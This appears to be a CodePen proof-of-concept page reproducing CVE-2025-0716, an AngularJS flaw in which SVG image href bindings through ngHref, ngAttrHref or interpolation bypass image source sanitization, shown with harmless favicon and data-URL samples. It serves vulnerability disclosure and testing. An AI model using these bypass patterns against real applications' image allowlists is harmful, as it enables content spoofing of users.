<h1>
  <small>Reproduction of AngularJS vulnerability:</small><br />
  <code>(ng(Attr))Href</code> SVG image source sanitization bypass
</h1>

<section class="vulnerability-info-section">
  <h2>Vulnerability information</h2>
  <table class="vulnerability-info-table">
    <tr>
      <th>CVE:</th>
      <td><a href="https://www.cve.org/CVERecord?id=CVE-2025-0716">CVE-2025-0716</a></td>
    </tr>
    <tr>
      <th>Type:</th>
      <td>Image source sanitization bypass (a form of <a href="https://owasp.org/www-community/attacks/Content_Spoofing">Content Spoofing</a>)</td>
    </tr>
    <tr>
      <th>Affected versions:</th>
      <td>&gt;=0.0.0</td>
    </tr>
    <tr>
      <th>Fixed in version:</th>
      <td><a href="https://www.herodevs.com/support/nes-angularjs">AngularJS NES</a> v1.9.8 and v1.5.24</td>
    </tr>
    <tr>
      <th>Description:</th>
      <td>
        Setting an <code>&lt;image></code> SVG element's <code>href</code> attribute value via the <a href="https://docs.angularjs.org/api/ng/directive/ngHref">ngHref</a> and <a href="https://docs.angularjs.org/guide/interpolation#-ngattr-for-binding-to-arbitrary-attributes">ngAttrHref</a> directives or using <a href="https://docs.angularjs.org/guide/interpolation">interpolation</a> is not subject to <a href="https://docs.angularjs.org/api/ng/provider/$compileProvider#imgSrcSanitizationTrustedUrlList">image source sanitization</a>. As a result, no restrictions are applied to the images that can be shown, which can also lead to a form of <a href="https://owasp.org/www-community/attacks/Content_Spoofing">Content Spoofing</a>. Similarly, the app's performance and behavior can be negatively affected by using too large or slow-to-load images.

        <aside class="info">
          <b>NOTE</b><br />
          Targeting the <code>xlink:href</code> attribute via <code>ng-attr-xlink:href</code> or interpolation is not affected. With <code>xlink:href</code>, sanitization works as intended.
        </aside>
      </td>
    </tr>
  </table>
</section>

<section class="repro-instructions-section">
  <h2>Reproduction instructions</h2>
  <p>
    The app below demonstrates the issue by trying to load images that should be blocked by the image source sanitization rules. It is doing so by binding to an <code>&lt;image></code> SVG element's <code>href</code> attribute using <code>ngHref</code>, <code>ngAttrHref</code> and <code>href</code> interpolation.
  </p>
  <p>
    For demonstration purposes, the app is configured to only allow images from the <code>https://angularjs.org/</code> domain:
    <pre>
      $compileProvider.imgSrcSanitizationTrustedUrlList(/^https:\/\/angularjs\.org\//);
    </pre>
  </p>
  <p>
    However, by taking advantage of the lack of sanitization in <code>ngHref</code>, <code>ngAttrHref</code> and <code>href</code> interpolation, we are able to show images from other domains (e.g. <code>https://angular.dev/</code>) as well as different schemes (e.g. an arbitrary SVG image using the <code>data:image/svg+xml</code> format).
  </p>
  <p>
    <b>Steps:</b>
    <ol>
      <li>
        Take a look at the table below.
      </li>
      <li>
        For reference, the first 6 entries use non-vulnerable methods, such as targeting the <code>xlink:href</code> attribute or using the <code>ngHref</code> directive with hard-codes values (i.e. no interpolation), and demonstrate that the image sources are sanitized correctly, not allowing images outside <code>https://angularjs.org/</code> to show.
      </li>
      <li>
        In contrast, the last 6 entries use vulnerable methods to target the <code>href</code> attribute, thus bypassing sanitization and allowing us to show images that should be blocked.
      </li>
    </ol>
  </p>
</section>

<section class="repro-content-section" ng-app="app">
  <h2>Reproduction</h2>
  <p class="repro-images">
    <span class="section-header">
      Examples with <code>xlink:href</code> + interpolation<br />
      (not vulnerable)
    </span>

    <span>
      Image from <code>angular.dev</code>:<br />
      <b>BLOCKED</b> (Correct ✔️)
    </span>
    <svg>
      <image xlink:href="{{ 'https://angular.dev/favicon.ico' }}"></image>
    </svg>

    <span>
      Arbitrary SVG image via data URL:<br />
      <b>BLOCKED</b> (Correct ✔️)
    </span>
    <svg>
      <image xlink:href="{{ 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48dGV4dCBmb250LXNpemU9IjEwMCIgeT0iMWVtIj7wn5Cx4oCN8J+SuzwvdGV4dD48L3N2Zz4=' }}"></image>
    </svg>

    <!-- -------------------------------------------------- -->

    <span class="section-header">
      Examples with <code>ng-href</code> (without interpolation)<br />
      (not vulnerable)
    </span>

    <span>
      Image from <code>angular.dev</code>:<br />
      <b>BLOCKED</b> (Correct ✔️)
    </span>
    <svg>
      <image ng-href="https://angular.dev/favicon.ico" xlink:href=""></image>
    </svg>

    <span>
      Arbitrary SVG image via data URL:<br />
      <b>BLOCKED</b> (Correct ✔️)
    </span>
    <svg>
      <image ng-href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48dGV4dCBmb250LXNpemU9IjEwMCIgeT0iMWVtIj7wn5Cx4oCN8J+SuzwvdGV4dD48L3N2Zz4=" xlink:href=""></image>
    </svg>

    <!-- -------------------------------------------------- -->

    <span class="section-header">
      Examples with <code>ng-attr-xlink:href</code><br />
      (not vulnerable)
    </span>

    <span>
      Image from <code>angular.dev</code>:<br />
      <b>BLOCKED</b> (Correct ✔️)
    </span>
    <svg>
      <image ng-attr-xlink:href="https://angular.dev/favicon.ico" xlink:href=""></image>
    </svg>

    <span>
      Arbitrary SVG image via data URL:<br />
      <b>BLOCKED</b> (Correct ✔️)
    </span>
    <svg>
      <image ng-attr-xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48dGV4dCBmb250LXNpemU9IjEwMCIgeT0iMWVtIj7wn5Cx4oCN8J+SuzwvdGV4dD48L3N2Zz4=" xlink:href=""></image>
    </svg>

    <!-- -------------------------------------------------- -->

    <span class="section-header">
      Examples with <code>href</code> + interpolation<br />
      (vulnerable)
    </span>

    <span>
      Image from <code>angular.dev</code>:<br />
      <b>ALLOWED</b> (Error ❌)
    </span>
    <svg>
      <image href="{{ 'https://angular.dev/favicon.ico' }}"></image>
    </svg>

    <span>
      Arbitrary SVG image via data URL:<br />
      <b>ALLOWED</b> (Error ❌)
    </span>
    <svg>
      <image href="{{ 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48dGV4dCBmb250LXNpemU9IjEwMCIgeT0iMWVtIj7wn5Cx4oCN8J+SuzwvdGV4dD48L3N2Zz4=' }}"></image>
    </svg>

    <!-- -------------------------------------------------- -->

    <span class="section-header">
      Examples with <code>ng-href</code> + interpolation<br />
      (vulnerable)
    </span>

    <span>
      Image from <code>angular.dev</code>:<br />
      <b>ALLOWED</b> (Error ❌)
    </span>
    <svg>
      <image ng-href="{{ 'https://angular.dev/favicon.ico' }}" xlink:href=""></image>
    </svg>

    <span>
      Arbitrary SVG image via data URL:<br />
      <b>ALLOWED</b> (Error ❌)
    </span>
    <svg>
      <image ng-href="{{ 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48dGV4dCBmb250LXNpemU9IjEwMCIgeT0iMWVtIj7wn5Cx4oCN8J+SuzwvdGV4dD48L3N2Zz4=' }}" xlink:href=""></image>
    </svg>

    <!-- -------------------------------------------------- -->

    <span class="section-header">
      Examples with <code>ng-attr-href</code><br />
      (vulnerable)
    </span>

    <span>
      Image from <code>angular.dev</code>:<br />
      <b>ALLOWED</b> (Error ❌)
    </span>
    <svg>
      <image ng-attr-href="https://angular.dev/favicon.ico"></image>
    </svg>

    <span>
      Arbitrary SVG image via data URL:<br />
      <b>ALLOWED</b> (Error ❌)
    </span>
    <svg>
      <image ng-attr-href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48dGV4dCBmb250LXNpemU9IjEwMCIgeT0iMWVtIj7wn5Cx4oCN8J+SuzwvdGV4dD48L3N2Zz4="></image>
    </svg>
  </p>
</section>
/* Styles */
aside {
  border: 0.1rem solid lightgray;
  border-radius: 0.5rem;
  font-size: 0.95em;
  margin: 0.5rem;
  padding: 0.5rem;
}
aside.info {
  background-color: aliceblue;
}
aside.warn {
  background-color: lemonchiffon;
}

body {
  font-family: arial, sans-serif;
  font-size: 1rem;
}

code {
  background-color: rgba(0, 0, 0, 0.125);
  border: 1px dotted darkgray;
  border-radius: 3px;
  display: inline-block;
  font-size: 0.95em;
  padding-left: 0.25rem;
  padding-right: 0.25rem;
}

h1 {
  text-align: center;
}
h1 > small {
  display: inline-block;
  font-style: italic;
  padding-block-end: 0.5rem;
}

pre {
  background-color: lightgray;
  border: 1px solid dimgray;
  border-radius: 0.25rem;
  font-size: 0.95em;
  overflow: auto;
  padding: 0.5rem;
  white-space: pre-line;
}

section {
  border-block-start: 2px solid gray;
  padding: 0 1rem 1rem;
}

.vulnerability-info-table {
  border-spacing: 0.5rem;
  margin-inline-end: 1rem;
}
.vulnerability-info-table th {
  text-align: start;
  vertical-align: top;
  white-space: nowrap;
}

.repro-content-section button {
  margin: 0.25rem;
}

.repro-content-section .repro-btn {
  position: relative;
}
.repro-content-section .repro-btn::after {
  animation: spinner 0.5s linear infinite;
  border-radius: 50%;
  border-right: 2px solid transparent;
  border-top: 2px solid darkorchid;
  content: '';
  display: none;
  height: 1rem;
  margin-top: -0.5rem;
  position: absolute;
  right: -2rem;
  top: 50%;
  width: 1rem;
}
.repro-content-section .repro-btn:active::after {
  display: initial;
}
.repro-content-section .repro-btn:active + .repro-duration {
  visibility: hidden;
}

.repro-content-section .repro-duration {
  border-inline-start: 2px solid gray;
  padding-inline-start: 0.33rem;
}

.repro-content-section .repro-images {
  display: grid;
  gap: 1rem;
  grid-template-columns: auto 100px;
  grid-auto-rows: 1fr;
  justify-content: start;
  place-items: center stretch;
}
.repro-content-section .repro-images svg {
  justify-self: center;
  max-height: 50px;
  max-width: 50px;
}
.repro-content-section .repro-images svg image {
  width: 50px;
},
.repro-content-section .repro-images svg image[href^="unsafe:"]:after,
.repro-content-section .repro-images svg image[xlink\:href^="unsafe:"]:after {
  content: '🚫 BLOCKED';
  white-space: pre;
}
.repro-content-section .repro-images .section-header {
  border-top: 1px solid;
  font-weight: bold;
  grid-column: 1 / -1;
  padding-top: 1rem;
  text-align: center;
  text-decoration: underline;
}

.repro-instructions-section li {
  margin-block-end: 0.5rem;
}

/* Animation keyframes */
@keyframes spinner {
  to {
    transform: rotate(360deg);
  }
}
// Define and configure the app.
angular
    .module('app', [])
    // Config for v1.8+:
    .config(['$compileProvider', $compileProvider => {
      $compileProvider.imgSrcSanitizationTrustedUrlList(
          // Only allow images from `angularjs.org`.
          /^https:\/\/angularjs\.org\//);
    }]);
    // Config for v1.5.x:
    // .config([
    //   '$compileProvider', '$sceDelegateProvider',
    //   ($compileProvider, $sceDelegateProvider) => {
    //     const re = /https:\/\/angularjs\.org\/.*/;

    //     $compileProvider.imgSrcSanitizationWhitelist(re);
    //     $sceDelegateProvider.resourceUrlWhitelist([re]);
    //   },
    // ]);

External CSS

This Pen doesn't use any external CSS resources.

External JavaScript

  1. https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.js